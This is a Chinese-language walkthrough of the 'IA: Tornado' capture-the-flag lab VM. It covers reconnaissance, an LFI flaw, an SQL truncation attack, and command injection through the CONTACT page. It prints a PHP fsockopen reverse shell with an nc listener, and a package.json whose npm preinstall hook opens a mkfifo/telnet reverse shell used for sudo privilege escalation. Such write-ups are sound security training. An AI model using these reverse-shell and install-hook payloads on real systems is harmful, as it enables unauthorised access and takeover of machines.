IA Tornado

IA: TORNADO

一、基本信息

名称:IA: Tornado

发布日期:2020.12.20

作者:InfoSec Articles

系列:IA

推特: @infosecarticles

二、靶机简介

Flags:

catchme:/~/user.txt
root:/root/root.txt

难度:中等

三、文件信息

文件名:tornado.ova

文件大小:1019MB

下载地址:

MD5: 86B49BD71057DB337A85C1EC1BAB1076

SHA1: A74D80B7BDE2B4DA63AAF1E6B4714E43D6862409

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机tornado和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放了22和80端口,访问主页,还是Apache初始页,源码没有更多信息:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.132 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现/bluesky目录,页面源码也没发现更多可用信息:

1
gobuster dir -u http://192.168.56.132 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

image-

image-

文件包含漏洞发现

1.我们继续对/bluesky目录进行扫描,发现有登录页与注册页,我们在注册页随意注册然后登录:

1
gobuster dir -u http://192.168.56.132/bluesky -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

image-

image-

image-

2.登录后,在PORTFOLIO页能发现提示存在LFI,并且在源码内有路径提示:

image-

3.利用LFI,我们可以获取到一些登录账号:

1
http://192.168.56.132/~tornado/imp.txt

image-

SQL截断攻击

1.然而,当我们使用这些账号,会发现这些账号都已经被注册了,这时我在注册页源码发现前端对email长度做了最大限制:

image-

2.这时可以想到是否存在SQL截断攻击的利用,修改maxlength后测试发现,能够将jacob@tornado用户的密码更改:

image-

image-

3.成功登录到jacob@tornado:

image-

命令注入,构建shell

1.现在我们可以在CONTACT页面输入payload,并在kali开启对应监听,获得shell:

image-

1
2
3
4
php -r '$sock=fsockopen("192.168.56.102",9002);exec("/bin/sh -i <&3 >&3 2>&3");'

nc -lvnp 9002
python -c 'import pty; pty.spawn("/bin/bash");'

image-

初步提权

1.查看可用文件权限,发现npm可以使用:

1
sudo -l

2.先在kali下写一个json文件,如package.json,开启http服务:

1
2
3
4
5
6
7
8
9
10
11
12
vim package.json
{
"name": "jin",
"version": "1.0.0",
"description": "follow jin on medium and twitter",
"main": "index.js",
"scripts": {
"preinstall": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet 192.168.56.102 9003 > /tmp/f"
}
}

python3 -m http.server 8001

3.在靶机/tmp目录下建立一个json目录,然后获取json文件,再利用npm触发shell:

1
2
3
4
5
6
7
cd /tmp
mkdir jin
wget http://192.168.56.102:8001/package.json
mv package.json jin
chmod +s jin/

sudo -u catchme /usr/bin/npm i /tmp/jin — unsafe

image-
image-

image-

4.可以成功地在catchme用户目录下找到第一个flag,user.txt:

1
2
3
cd ~
ls -al
cat user.txt

image-

root提权

1.查看同目录下的enc.py文件,发现是个加密程序,告知我们密文,粗略阅读程序,明显是凯撒密码的变种,我们利用https://www.boxentriq.com/code-breaking/caesar-cipher,不使用key自动破解:

image-

image-

2.但自动破解出来的并不是密码,但非常接近了,我们回看程序,对比自动解出的字串,得到key是u,而w是在u后的字符,不应该变化,可分析出最后密码是idkrootpassword:

image-

3.最后能在/root目录下发现第二个flag,root.txt:

1
2
3
cd /root
ls -al
cat root.txt

image-